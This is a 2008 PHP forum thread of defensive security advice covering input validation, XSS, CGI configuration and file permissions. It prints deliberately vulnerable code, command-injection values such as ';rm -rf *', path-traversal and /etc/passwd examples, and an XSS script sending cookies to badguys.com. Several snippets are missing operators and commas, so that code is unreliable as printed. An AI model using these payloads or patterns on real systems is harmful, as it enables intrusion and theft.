IT Community - Software Programming, Web Development and Technical Support

Security in PHP

This is a discussion on Security in PHP within the PHP Programming forums, part of the Web Development category; Hi, can PHP secure in web development? Now a days there are lot of attacks in the internet....


Go Back   IT Community - Software Programming, Web Development and Technical Support > Web Development > PHP Programming

Register FAQ Members List Calendar Mark Forums Read
  #1 (permalink)  
Old 03-18-2008, 03:30 AM
rekhaa rekhaa is offline
D-Web Trainee
 
Join Date: Mar 2008
Posts: 5
rekhaa is on a distinguished road
Default Security in PHP

Hi,

can PHP secure in web development? Now a days there are lot of attacks in the internet.

Last edited by rekhaa : 03-18-2008 at 03:36 AM.
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Sponsored Links
  #2 (permalink)  
Old 03-18-2008, 05:09 AM
Kamalakannan Kamalakannan is offline
D-Web Analyst
 
Join Date: May 2007
Posts: 299
Kamalakannan is on a distinguished road
Default Re: Security in PHP

PHP is a powerful language and the interpreter, whether included in a web server as a module or executed as a separate CGI binary, is able to access files, execute commands and open network connections on the server. These properties make anything run on a web server insecure by default.

PHP is designed specifically to be a more secure language for writing CGI programs than Perl, and with correct selection of compile-time and runtime configuration options, and proper coding practices, it can give you exactly the combination of freedom and security you need.

The configuration flexibility of PHP is equally rivalled by the code flexibility. PHP can be used to build complete server applications, with all the power of a shell user, or it can be used for simple server-side includes with little risk in a tightly controlled environment.
__________________
Thanks & Regards,
R.Kamalakannan.
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #3 (permalink)  
Old 03-18-2008, 08:58 AM
a.deeban a.deeban is offline
D-Web Analyst
 
Join Date: May 2007
Posts: 279
a.deeban is on a distinguished road
Default Re: Security in PHP

Hi..

PHP is a terrific language for the rapid development of dynamic Websites. It also has many features that are friendly to beginning programmers, such as the fact that it doesn't require variable declarations. However, many of these features can lead a programmer inadvertently to allow security holes to creep into a Web application. The popular security mailing lists teem with notes of flaws identified in PHP applications, but PHP can be as secure as any other language once you understand the basic types of flaws PHP applications tend to exhibit.


I'll detail many of the common PHP programming mistakes that can result in security holes. By showing you what not to do, and how each particular flaw can be exploited, I hope that you'll understand not just how to avoid these particular mistakes, but also why they result in security vulnerabilities. Understanding each possible flaw will help you avoid making the same mistakes in your PHP applications.

Security is a process, not a product, and adopting a sound approach to security during the process of application development will allow you to produce tighter, more robust code.
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #4 (permalink)  
Old 03-18-2008, 09:00 AM
a.deeban a.deeban is offline
D-Web Analyst
 
Join Date: May 2007
Posts: 279
a.deeban is on a distinguished road
Default Unvalidated Input Errors

Hi..

One of -- if not the -- most common PHP security flaws is the unvalidated input error. User-provided data simply cannot be trusted. You should assume every one of your Web application users is malicious, since it's certain that some of them will be. Unvalidated or improperly validated input is the root cause of many of the exploits we'll discuss later in this article.

As an example, you might write the following code to allow a user to view a calendar that displays a specified month by calling the UNIX cal command.


Code:
$month = $_GET['month'];
$year = $_GET['year'];

exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";
This code has a gaping security hole, since the $_GET[month] and $_GET[year] variables are not validated in any way. The application works perfectly, as long as the specified month is a number between 1 and 12, and the year is provided as a proper four-digit year. However, a malicious user might append ";ls -la" to the year value and thereby see a listing of your Website's html directory. An extremely malicious user could append ";rm -rf *" to the year value and delete your entire Website!

The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not use JavaScript validation for this; such validation methods are easily worked around by an exploiter who creates their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs are digits and only digits, as shown below.


Code:
$month = $_GET['month'];
$year = $_GET['year'];

if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Bad month, please re-enter.");
if (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please re-enter.");

exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r<BR>"; }
print "</PRE>";
This code can safely be used without concern that a user could provide input that would compromise your application, or the server running it. Regular expressions are a great tool for input validation. They can be difficult to grasp, but are extremely useful in this type of situation.

You should always validate your user-provided data by rejecting anything other than the expected data. Never use the approach that you'll accept anything except data you know to be harmful -- this is a common source of security flaws. Sometimes, malicious users can get around this methodology, for example, by including bad input but obscuring it with null characters. Such input would pass your checks, but could still have a harmful effect.

You should be as restrictive as possible when you validate any input. If some characters don't need to be included, you should probably either strip them out, or reject the input completely.
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #5 (permalink)  
Old 03-18-2008, 09:01 AM
a.deeban a.deeban is offline
D-Web Analyst
 
Join Date: May 2007
Posts: 279
a.deeban is on a distinguished road
Default Cross Site Scripting (XSS) Flaws

Hi...

Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting commands -- usually JavaScript -- in data that is displayed and therefore executed by another user.

For example, if your application included a forum in which people could post messages to be read by other users, a malicious user could embed a <script> tag, shown below, which would reload the page to a site controlled by them, pass your cookie and session information as GET variables to their page, then reload your page as though nothing had happened. The malicious user could thereby collect other users' cookie and session information, and use this data in a session hijacking or other attack on your site.


Code:
<script>
document.location =
   'http://www.badguys.com/cgi-bin/cookie.php?' +
   document.cookie;
</script>
To prevent this type of attack, you need to be careful about displaying user-submitted content verbatim on a Web page. The easiest way to protect against this is simply to escape the characters that make up HTML syntax (in particular, < and >) to HTML character entities (&lt; and &gt, so that the submitted data is treated as plain text for display purposes. Just pass the data through PHP's htmlspecialchars function as you are producing the output.

If your application requires that your users be able to submit HTML content and have it treated as such, you will instead need to filter out potentially harmful tags like <script>. This is best done when the content is first submitted, and will require a bit of regular expressions know-how.
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #6 (permalink)  
Old 03-18-2008, 08:23 PM
Jeyaseelansarc Jeyaseelansarc is offline
D-Web Genius
 
Join Date: Mar 2007
Location: Chennai
Posts: 1,159
Jeyaseelansarc is on a distinguished road
Send a message via AIM to Jeyaseelansarc
Default Re: Security in PHP

A completely secure system is a virtual impossibility, so an approach often used in the security profession is one of balancing risk and usability. If every variable submitted by a user required two forms of biometric validation (such as a retinal scan and a fingerprint), you would have an extremely high level of accountability. It would also take half an hour to fill out a fairly complex form, which would tend to encourage users to find ways of bypassing the security.

The best security is often unobtrusive enough to suit the requirements without the user being prevented from accomplishing their work, or over-burdening the code author with excessive complexity. Indeed, some security attacks are merely exploits of this kind of overly built security, which tends to erode over time.

A phrase worth remembering: A system is only as good as the weakest link in a chain. If all transactions are heavily logged based on time, location, transaction type, etc. but the user is only verified based on a single cookie, the validity of tying the users to the transaction log is severely weakened.

When testing, keep in mind that you will not be able to test all possibilities for even the simplest of pages. The input you may expect will be completely unrelated to the input given by a disgruntled employee, a cracker with months of time on their hands, or a housecat walking across the keyboard. This is why it's best to look at the code from a logical perspective, to discern where unexpected data can be introduced, and then follow how it is modified, reduced, or amplified.

The Internet is filled with people trying to make a name for themselves by breaking your code, crashing your site, posting inappropriate content, and otherwise making your day interesting. It doesn't matter if you have a small or large site, you are a target by simply being online, by having a server that can be connected to. Many cracking programs do not discern by size, they simply trawl massive IP blocks looking for victims. Try not to become one.
__________________
With,
J. Jeyaseelan

Everything Possible
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #7 (permalink)  
Old 03-18-2008, 09:22 PM
Jeyaseelansarc Jeyaseelansarc is offline
D-Web Genius
 
Join Date: Mar 2007
Location: Chennai
Posts: 1,159
Jeyaseelansarc is on a distinguished road
Send a message via AIM to Jeyaseelansarc
Default Re: Security in PHP

Possible attacks while PHP installed as CGI binary
-------------------------------------------------------
Using PHP as a CGI binary is an option for setups that for some reason do not wish to integrate PHP as a module into server software (like Apache), or will use PHP with different kinds of CGI wrappers to create safe chroot and setuid environments for scripts. This setup usually involves installing executable PHP binary to the web server cgi-bin directory.

Even if the PHP binary can be used as a standalone interpreter, PHP is designed to prevent the attacks this setup makes possible:


* Accessing system files: http://my.host/cgi-bin/php?/etc/passwd

The query information in a URL after the question mark (?) is passed as command line arguments to the interpreter by the CGI interface. Usually interpreters open and execute the file specified as the first argument on the command line.

When invoked as a CGI binary, PHP refuses to interpret the command line arguments.

* Accessing any web document on server: http://my.host/cgi-bin/php/secret/doc.html

The path information part of the URL after the PHP binary name, /secret/doc.html is conventionally used to specify the name of the file to be opened and interpreted by the CGI program. Usually some web server configuration directives (Apache: Action) are used to redirect requests to documents like http://my.host/secret/script.php to the PHP interpreter. With this setup, the web server first checks the access permissions to the directory /secret, and after that creates the redirected request http://my.host/cgi-bin/php/secret/script.php. Unfortunately, if the request is originally given in this form, no access checks are made by web server for file /secret/script.php, but only for the /cgi-bin/php file. This way any user able to access /cgi-bin/php is able to access any protected document on the web server.

In PHP, compile-time configuration option --enable-force-cgi-redirect and runtime configuration directives doc_root and user_dir can be used to prevent this attack, if the server document tree has any directories with access restrictions.
__________________
With,
J. Jeyaseelan

Everything Possible
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #8 (permalink)  
Old 03-18-2008, 09:36 PM
Jeyaseelansarc Jeyaseelansarc is offline
D-Web Genius
 
Join Date: Mar 2007
Location: Chennai
Posts: 1,159
Jeyaseelansarc is on a distinguished road
Send a message via AIM to Jeyaseelansarc
Default Re: Security in PHP

When PHP installed as CGI the following cases to be considered
* only public files served
* using --enable-force-cgi-redirect
* setting doc_root or user_dir
* PHP parser outside of web tree

We can see the above in details here

only public files served
If your server does not have any content that is not restricted by password or ip based access control, there is no need for these configuration options. If
your web server does not allow you to do redirects, or the server does not have a way to communicate to the PHP binary that the request is a safely redirected request, you can specify the option --enable-force-cgi-redirect to the configure script.
You still have to make sure your PHP scripts do not rely on one or another way of calling the script, neither by directly http://my.host/cgi-bin/php/dir/script.php nor by redirection http://my.host/dir/script.php.

using --enable-force-cgi-redirect
This compile-time option prevents anyone from calling PHP directly with a URL like http://my.host/cgi-bin/php/secretdir/script.php. Instead, PHP will only parse in this mode if it has gone through a web server redirect rule.
Usually the redirection in the Apache configuration is done with the following directives:
Code:
Action php-script /cgi-bin/php
AddHandler php-script .php
setting doc_root or user_dir
To include active content, like scripts and executables, in the web server document directories is sometimes considered an insecure practice. If, because of some configuration mistake, the scripts are not executed but displayed as regular HTML documents, this may result in leakage of intellectual property or security information like passwords.

When user_dir is unset, only thing controlling the opened file name is doc_root. Opening a URL like http://my.host/~user/doc.php does not result in opening a file under users home directory, but a file called ~user/doc.php under doc_root

user_dir expansion happens regardless of the doc_root setting, so you can control the document root and user directory access separately.

PHP parser outside of web tree
A very secure option is to put the PHP parser binary somewhere outside of the web tree of files. In /usr/local/bin, for example. The only real downside to this option is that you will now have to put a line similar to:
Code:
#!/usr/local/bin/php
__________________
With,
J. Jeyaseelan

Everything Possible
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #9 (permalink)  
Old 03-19-2008, 01:07 AM
Falcon Falcon is offline
D-Web Analyst
 
Join Date: Nov 2007
Location: Chennai
Posts: 288
Falcon is on a distinguished road
Default Re: Security in PHP

Hi Buddies

Hiding PHP
A few simple techniques can help to hide PHP, possibly slowing down an attacker who is attempting to discover weaknesses in your system. By setting expose_php = off in your php.ini file

Regards
Falcon
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #10 (permalink)  
Old 03-19-2008, 01:10 AM
Falcon Falcon is offline
D-Web Analyst
 
Join Date: Nov 2007
Location: Chennai
Posts: 288
Falcon is on a distinguished road
Default Re: Security in PHP

Hi Buddies

The greatest weakness in many PHP programs is not inherent in the language itself, but merely an issue of code not being written with security in mind. For this reason, you should always take the time to consider the implications of a given piece of code, to ascertain the possible damage if an unexpected variable is submitted to it.

Dangerous Variable Usage
PHP Code:
<?php
// remove a file from the user's home directory... or maybe
// somebody else's?
unlink ($evil_var);

// Write logging of their access... or maybe an /etc/passwd entry?
fwrite ($fp$evil_var);

// Execute something trivial.. or rm -rf *?
system ($evil_var);
exec ($evil_var);

?>
Regards
Falcon
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #11 (permalink)  
Old 03-19-2008, 01:46 AM
Jeyaseelansarc Jeyaseelansarc is offline
D-Web Genius
 
Join Date: Mar 2007
Location: Chennai
Posts: 1,159
Jeyaseelansarc is on a distinguished road
Send a message via AIM to Jeyaseelansarc
Default Re: Security in PHP

Filesystem Security

PHP is subject to the security built into most server systems with respect to permissions on a file and directory basis. This allows you to control which files in the filesystem may be read. Care should be taken with any files which are world readable to ensure that they are safe for reading by all users who have access to that filesystem.

Since PHP was designed to allow user level access to the filesystem, it's entirely possible to write a PHP script that will allow you to read system files such as /etc/passwd, modify your ethernet connections, send massive printer jobs out, etc. This has some obvious implications, in that you need to ensure that the files that you read from and write to are the appropriate ones.

Consider the following script, where a user indicates that they'd like to delete a file in their home directory. This assumes a situation where a PHP web interface is regularly used for file management, so the Apache user is allowed to delete files in the user home directories.

PHP Code:
<?php
// remove a file from the user's home directory
$username $_POST['user_submitted_name'];
$homedir "/home/$username";
$file_to_delete "$userfile";
unlink ("$homedir/$userfile");
echo 
"$file_to_delete has been deleted!";
?>
Since the username is postable from a user form, they can submit a username and file belonging to someone else, and delete files. In this case, you'd want to use some other form of authentication. Consider what could happen if the variables submitted were "../etc/" and "passwd". The code would then effectively read:
PHP Code:
<?php
// removes a file from anywhere on the hard drive that
// the PHP user has access to. If PHP has root access:
$username "../etc/";
$homedir "/home/../etc/";
$file_to_delete "passwd";
unlink ("/home/../etc/passwd");
echo 
"/home/../etc/passwd has been deleted!";
?>
__________________
With,
J. Jeyaseelan

Everything Possible
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #12 (permalink)  
Old 03-19-2008, 02:14 AM
Jeyaseelansarc Jeyaseelansarc is offline
D-Web Genius
 
Join Date: Mar 2007
Location: Chennai
Posts: 1,159
Jeyaseelansarc is on a distinguished road
Send a message via AIM to Jeyaseelansarc
Default Re: Security in PHP

To prevent from the above issues you must measure the following

* Only allow limited permissions to the PHP web user binary.
* Check all variables which are submitted.

Here is an improved script:
PHP Code:
<?php
// removes a file from the hard drive that
// the PHP user has access to.
$username $_SERVER['REMOTE_USER']; // using an authentication mechanisim

$homedir "/home/$username";

$file_to_delete basename("$userfile"); // strip paths
unlink ($homedir/$file_to_delete);

$fp fopen("/home/logging/filedelete.log","+a"); //log the deletion
$logstring "$username $homedir $file_to_delete";
fwrite ($fp$logstring);
fclose($fp);

echo 
"$file_to_delete has been deleted!";
?>
__________________
With,
J. Jeyaseelan

Everything Possible
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #13 (permalink)  
Old 03-20-2008, 02:31 AM
Falcon Falcon is offline
D-Web Analyst
 
Join Date: Nov 2007
Location: Chennai
Posts: 288
Falcon is on a distinguished road
Default Re: Security in PHP

Hi Buddies
The customized file check using php is

PHP Code:
<?php
$username 
$_SERVER['REMOTE_USER']; // using an authentication mechanisim
$homedir "/home/$username";

if (!
ereg('^[^./][^/]*$'$userfile))
     die(
'bad filename'); //die, do not process

if (!ereg('^[^./][^/]*$'$username))
     die(
'bad username'); //die, do not process
//etc...
?>
Regards
Falcon
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #14 (permalink)  
Old 03-20-2008, 02:36 AM
Falcon Falcon is offline
D-Web Analyst
 
Join Date: Nov 2007
Location: Chennai
Posts: 288
Falcon is on a distinguished road
Default Re: Security in PHP

Hi Buddies

The most effective and often overlooked measure to prevent malicious users from compromising your scripts is to consider the possibility it could happen when you write them. It's s important to be mindful of the possible security implications of your code.

If the developer is writing a number of text files in this manner, this function will make his code look much cleaner and easier to understand. Let's assume that this function lives in a separate file which is included in the scripts which require the function.

HTML Code:
<html><body> <form action="<?=$_SERVER['PHP_SELF']?>" method="get">
Choose the nature of the quote:
<select name="quote" size="3"> <option value="funny">Humorous quotes</option> <option value="political">Political quotes</option> <option value="love">Romantic Quotes</option> </select><br />
The quote: <input type="text" name="quote_text" size="30" /> <input type="submit" value="Save Quote" /> </form> </body></html>
PHP Code:
<?php
    
include_once('write_text.php');

    
$filename  "/home/web/quotes/{$_GET['quote']}";
    
$quote_msg $_GET['quote_text'];

    if (
write_text($filename$quote_msg)) {
       echo 
"<center><hr><h2>Quote saved!</h2></center>";
    } else {
       echo 
"<center><hr><h2>Error writing quote</h2></center>";
    }
    
write_text(NULL);
?>
Regards
Falcon
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #15 (permalink)  
Old 03-20-2008, 03:25 AM
senraj senraj is offline
D-Web Master
 
Join Date: Jul 2007
Posts: 418
senraj is on a distinguished road
Post Re: Security in PHP

Hi,

PHP secure in web development below here :
1. Input Validation
2. Cross-Site Scripting
3. SQL Injection
4. Code Injection
5. Session Security
6. Shared Hosting
__________________
Regards,
Senraj.A
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #16 (permalink)  
Old 03-20-2008, 03:26 AM
senraj senraj is offline
D-Web Master
 
Join Date: Jul 2007
Posts: 418
senraj is on a distinguished road
Post Re: Security in PHP

Hi,

PHP secure in web development below here :

Input Validation :
---------------------
  • All user inputs are unreliable and can’t be trusted.
  • Need for validating any user input before use :
  • Unexpected Modification by the user
  • Intentional attempt to gain unauthorized access to the
  • application
  • Attempt to crash the application by the malicious users
__________________
Regards,
Senraj.A

Last edited by senraj : 03-20-2008 at 04:26 AM.
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #17 (permalink)  
Old 03-20-2008, 04:25 AM
senraj senraj is offline
D-Web Master
 
Join Date: Jul 2007
Posts: 418
senraj is on a distinguished road
Post Re: Security in PHP

Hi,

PHP secure in web development below here :

Register Globals
  • Most common source of vulnerabilities in PHP applications.
  • Any input parameters are translated to variables :-
  • foo=bar >> $foo = “bar”;
  • No way to determine the input source.
  • Prioritized sources like cookies can overwrite GET values.
  • When register global is set ON, un-initialized variables can be “injected” via user inputs.
__________________
Regards,
Senraj.A
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #18 (permalink)  
Old 03-20-2008, 04:30 AM
senraj senraj is offline
D-Web Master
 
Join Date: Jul 2007
Posts: 418
senraj is on a distinguished road
Post Re: Security in PHP

Hi,

PHP secure in web development below here :

Solutions To Register Globals

Disable register_globals in PHP.ini (Disabled by-default as of PHP 4.2.0)

Alternative to Register Global : SUPER GLOBALS
  • $_GET – data from get requests.
  • $_POST – post request data.
  • $_COOKIE – cookie information.
  • $_FILES – uploaded file data.
  • $_SERVER – server data
  • $_ENV – environment variables
  • $_REQUEST – mix of GET, POST, COOKIE
__________________
Regards,
Senraj.A
Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #19 (permalink)  
Old 03-20-2008, 04:35 AM
senraj senraj is offline
D-Web Master
 
Join Date: Jul 2007
Posts: 418
senraj is on a distinguished road
Post Re: Security in PHP

Hi,

PHP secure in web development below here :

Contd…

Type sensitive validation conditions.
  • Because input is always a string, type sensitive compare to a Boolean or an integer will always fail.
  • Example
  • if ($authorized === TRUE)
  • {
  • // LOGIN SUCCESS
  • }

    Code with error_reporting set to E_ALL.
    Allows you to see warnings about the use of un-initialized
    variables.


    Use of constants
  • Created via define() function
  • Once set, remains defined